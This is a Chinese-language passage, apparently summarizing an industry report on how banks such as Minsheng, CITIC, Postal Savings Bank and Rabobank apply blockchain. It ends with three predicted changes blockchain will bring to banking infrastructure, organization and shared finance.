除国有银行外,民生银行在“凤凰计划”中将区块链作为长期蓝图中发展的核心技术,开展外部合作,加入 R3,积极参与联合研发与标准制定,自主研发,构建基于区块链的云平台,基于联盟链平台开发了国内信用证的应用系统原型等也被提及。

此外,报告还对中信银行区块链信用证信息传输系统的研发与实施、中国邮政储蓄银行结合区块链的资产托管系统、澳新、西太平洋银行推出的保函解决方案、荷兰合作银行(Rabobank)的区块链KYC应用解决方案等进行了介绍。

区块链银行应用趋势判断 

报告谈到,从区块链的技术特征和现阶段的应用案例看,未来区块链在银行业将带来以下三方面的重大变革:

(一)成为银行业的基础设施和底层技术 

区块链本质上是基于共识机制建立起来的分布式共享数据库,而分布式账本技术被各大银行寄予厚望,未来将有助于解决金融服务中存在的效率瓶颈、欺诈、操作风险等痛点。

随着区块链在计算性能、隐私保护、多链互通等技术上的成熟,区块链将逐步形成金融行业统一规范,成为金融行业不可或缺的基础设施之一,在征信、权属管理、跨境贸易和结算、支付清算等金融服务中广泛应用。

(二)改变银行业的组织架构和服务模式 

银行组织的核心在于拥有绝对信用度以及大量的中介机构来解决信任问题。中心化的信息传输模式效率低、成本高,而区块链的去中心化、可信任、不可篡改等特点,能够从根本上解决信 息传递的效率问题,从而降低社会总成本。区块链在金融行业的应用,将转变信任的传递方式。

传统金融的中心化机构和区块链将深度融合,中心化结构将逐渐被弱中心化的大量的不同领域的区块链所取代,金融行业的组织形式和服务模式也会发生适应性的变化。

(三)推动开放可信的共享金融体系的建立 

区块链能够解决互信和提供透明信息,对此,大量新的开放可信的共享金融业态将应运而生。 区块链技术将信息安全可靠地整合在一个平台,能够使所有交易参与者实现高度协同共享。

对于金融机构来说,端到端完全透明化,所有相关参与方都通过一个去中心化的账本记录交易,提高了效率和精确性;可信任的信息提高了业务处理效率,减少了传递、核验、评估所需的时间。

对于非金融参与者来说,可实时掌握更加详实的交易背景信息,解决了信任问题。